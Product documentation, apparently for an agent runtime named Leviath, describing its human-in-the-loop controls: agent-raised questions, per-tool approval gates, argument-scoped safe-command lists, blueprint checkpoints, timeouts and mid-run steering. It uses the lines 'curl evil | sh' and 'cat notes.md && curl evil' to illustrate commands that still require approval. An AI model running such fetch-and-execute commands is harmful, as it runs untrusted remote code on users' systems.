Human-in-the-loop

Sometimes you do not want the agent deciding on its own. It should check the plan with you before writing code. It should ask which API version to target rather than guessing. And you should be able to redirect it halfway through, when you realise it is going the wrong way.

A Leviath run does not have to be autonomous. There are three ways a person gets involved:

You want Use Who starts it
The agent to ask when it is unsure The ask_user_* tools The agent, if it chooses to
A checkpoint that always happens An interaction point The runtime, every time
To redirect a run already going lev msg You, whenever you like

You can answer from the dashboard, from The Lair, the browser console, from the CLI, or the HTTP API.

sequenceDiagram
  participant A as Agent
  participant H as Human
  A->>H: "ask_user_confirm: Delete the branch?"
  Note over A: run pauses, question is open
  H-->>A: "lev respond <id> --approve"
  A->>A: "answer injected, run resumes"

Interaction kinds

Every prompt an agent puts to a person is one of five kinds (InteractionKind). The kind decides what the client renders and what a valid answer looks like:

Kind Wire value What the user does
Free-text free_text Types a free-form answer
Multiple-choice multiple_choice Picks one option from a list
Confirm confirm Answers yes / no
Tool-approval tool_approval Allows or denies a specific tool call
Edit-text edit_text Edits a document in place and submits the modified text

A request may also carry a rich body (a markdown plan or document) for the user to review alongside the prompt.

Agent-raised questions

Mid-reasoning, a model may call one of these tools on its own judgment. The run pauses on the tool call until the answer comes back, then continues with it:

  • ask_user_text: a free-text question. Returns the user's answer (or "User provided no answer.").
  • ask_user_choice: a multiple-choice question (requires at least 2 options).
  • ask_user_confirm: a yes/no confirmation.
  • edit_document: hands the user a document (the tool's content) to edit; returns the edited text.
  • present_for_review: shows a markdown document (title + markdown) for review and collects optional feedback.

Note

Under an unattended run (--yolo) nobody is watching, so these five tools are not advertised to the model at all. It never sees them and decides for itself, instead of spending a round trip to be told no one is there. A call that arrives anyway (a model repeating itself out of its own context) is refused the way any unoffered tool is.

A stage that genuinely needs a person keeps the tools it names in required_tools.

Unattended applies to the whole run tree, not just the agent you launched: sub-agents and fan-out workers inherit it, and it survives a daemon restart. Otherwise a child could stop on a prompt nobody was watching for and take its parent down with it.

When nobody answers

Every prompt on this page waits on a person, and nobody is always there. A run whose operator has gone home should not sit in WaitingInput holding its slot until the daemon restarts.

[limits] interaction_timeout_secs puts a deadline on that wait: one hour by default, and 0 waits indefinitely. When it passes, the prompt resolves exactly as cancelling it would:

Prompt What an expiry means
Tool approval Denied. A timeout is never read as consent.
Taint gate Denied.
ask_user_* The model is told no answer came, and carries on.
Interaction point Proceeds with no user text, as a cancelled checkpoint does. See below.

An interaction point that declared unattended = "ask" behaves differently on a timeout: the run stops with an error, rather than approving a checkpoint nobody made.

The deadline is read once when the daemon starts, so changing it needs a daemon restart.

Tool approval

Instead of the model asking, you can require approval for a tool before it runs. Set a tool's per-stage (or agent-level) permission to ask. The values are allow, ask, and deny:

toml
[tool_permissions]
read_file  = "allow"
write_file = "ask"     # pause and ask before each write
bash       = "ask"

What runs without asking

ask is per tool name, which for the shell is a choice between a prompt on every ls and no prompt on curl evil | sh. [safe_commands] is the middle: entries are argument-scoped, and can only ever turn ask into allow, never a configured deny.

toml
[safe_commands]
defaults = true                # ship the read-only verb list, on unless you say otherwise
tools = ["read_files"]
shell = ["cargo test", "rg"]   # `cargo test` never covers `cargo publish`

[agent_safe_commands.coder]
shell = ["./gradlew"]
allow_blueprint = true         # honour this agent's own [safe_commands] block

A shell entry is a program, optionally with the subcommand that narrows it, and it covers that program with any arguments: cat covers cat notes.md. It does not cover a line that also runs something else, so cat notes.md && curl evil still asks.

The shipped list holds to one rule: an entry must not be able to write a file, execute another program, or open a network connection under any flag. That is why find (-exec), sed (-i), awk (system()), sort (-o), xargs, env, nohup and cargo are absent however ordinary they look. Add any of them by name if you want them. lev approvals safe prints what is in effect and which file put it there.

A blueprint may declare its own [safe_commands], and like [read_paths] it is inert until you opt in, because otherwise any agent package could pre-approve its own shell with one TOML line.

The prompt

An ask gate raises a tool_approval prompt naming the tool and its telling argument (the shell command for bash/shell, the path for the file tools), with four options:

  • Allow once: permit just this one call.
  • Allow ... for this stage: permit every later call this covers, until the run leaves the current stage. Re-entering the same stage keeps the grant, so a revision loop does not re-ask.
  • Allow ... for this run: permit every later call this covers, for the rest of the run.
  • Deny: reject the call.

The two scoped options name what they grant, because a grant is not keyed on the tool. Approving ls && git status for the run grants ls and git status, not "the shell": a later ls && curl evil still asks, because curl was never approved. Approving git diff does not approve git push. A line the parser cannot read as a list of commands (a backtick, a heredoc, an eval, a program named by a variable) has nothing reusable to grant, and the prompt says so.

Nothing is written to disk. Every grant dies with the run that made it.

The taint gate in security uses the same prompt shape with its own wording. An outbound tool that would carry sensitive data above its clearance is blocked, then surfaced as a tool-approval. There, Allow for this session raises the tool's clearance for the rest of the run, and Deny blocks it. It offers no per-stage option, because a clearance is not keyed on what a call runs.

Interaction points

An interaction point is a checkpoint you write into the blueprint rather than one the agent chooses to raise.

That is the whole difference from the ask_user tools. Those only fire if the model decides to call them, so an agent that is confident and wrong sails past. An interaction point fires at the stage boundary every time, before the stage is allowed to move on.

Set the stage's mode to interactive_points and list one or more:

toml
[stages.plan]
mode = "interactive_points"

[[stages.plan.interaction_points]]
name     = "plan_approval"
prompt   = "Approve the plan?"
required = true
unattended = "ask"                    # ask | auto_approve (default)
style    = "multiple_choice"          # free_text | multiple_choice | confirm
options  = ["Approve", "Revise", "Edit", "Abort"]
abort_options = ["Abort"]
edit_options  = ["Edit"]
directives = { "Revise" = "Call ask_user_text to find out what to change, then re-plan." }
document_region = "plan"

What each answer does

Which list you put an option in decides what picking it does. Nothing is left to the model here:

Answer Where you put it What happens
Approve Any option not in the lists below The point is satisfied. Once every point is satisfied, the stage moves on
Revise A key in directives The directive text is added to the conversation, the stage runs again, and you are asked once more
Edit An option in edit_options The stage's latest output opens for you to edit. Your version is adopted, and you are asked once more
Abort An option in abort_options The run is cancelled immediately. No further model calls, no transition

Options are matched exactly first, then again ignoring dashes and whitespace, so "Auto approve" and "auto-approve" both land.

Keeping the document current

document_region names a pinned context region, "plan" in the example above, that holds whatever the point is about.

Every time the point is presented, that region is replaced with the current text, whether that came from the model or from your own edit. So when you revise three times, the third pass builds on your second round of edits rather than starting over from the original task. Without this, a revision loop keeps regenerating from scratch and your edits are lost each time.

unattended decides what the point does in a --yolo run. The default, auto_approve, resolves it as approved without opening a prompt: nobody is watching, and a checkpoint that waited would park the run. Set it to ask for a gate whose whole purpose is a human decision, such as a plan signed off before any code is written. The prompt then opens even under --yolo. The bundled coder leaves its plan checkpoint on the default, so an unattended run proceeds; set ask on your own blueprint when the decision genuinely cannot be made without you. Give a run like that an interaction_timeout_secs, so an unanswered gate releases on its own terms instead of waiting for ever.

Know what that looks like before you meet it. A --yolo run holding an ask gate shows waiting: checkpoint in lev ps (the JSON wait reason is interaction_point), and does nothing until the timeout expires. The default timeout is one hour, so the run is not stuck, but for that hour it is indistinguishable from a run that is. lev respond --json lists the question it is holding.

Warning

The revise and edit loops are bounded: after 4 revision rounds at a single point (MAX_REVISION_ROUNDS), the stage proceeds regardless, so a revise/edit loop can never run forever.

Mid-run messages

You can steer a running agent without waiting for it to ask. A message is injected into the conversation region between inference calls, as if the user had spoken mid-turn:

bash
lev msg <agent-id> "Focus on the auth module first, skip the migrations for now."

Whether a message lands right away is per-stage. accepts_messages defaults to true; set it to false on a stage that shouldn't be interrupted (e.g. a final report), and messages stay queued in the agent's inbox until it reaches a stage that accepts them:

toml
[stages.report]
mode = "autonomous"
accepts_messages = false   # hold messages until a later stage that accepts them

Tip

A message is delivered to at most one running agent by id. If nothing accepts it (no such live agent), lev msg reports no agent accepted the message.

Answering questions

When a run is waiting on a question, answer it with lev respond. Run it with no arguments to list the interactions the daemon is currently holding, then answer one by its request id:

bash
lev respond                              # list open interactions
lev respond <request-id> "your answer"   # free-text / edited value
lev respond <request-id> --choice 1      # multiple-choice, 0-based index
lev respond <request-id> --approve       # tool-approval / confirm
lev respond <request-id> --approve --stage     # and every later call this covers, this stage
lev respond <request-id> --approve --session   # and every later call this covers, this run
lev respond <request-id> --deny          # reject

You don't have to use the CLI. The same open questions can be answered interactively from the dashboard (press i), from The Lair, or over the API via GET/POST /api/agents/{id}/interaction: read the pending question, then post the answer.

Note

Interaction state survives a daemon restart. An agent parked at a stage-boundary interaction point is re-presented with the exact same prompt when the daemon comes back, rather than dropping the question and re-running inference.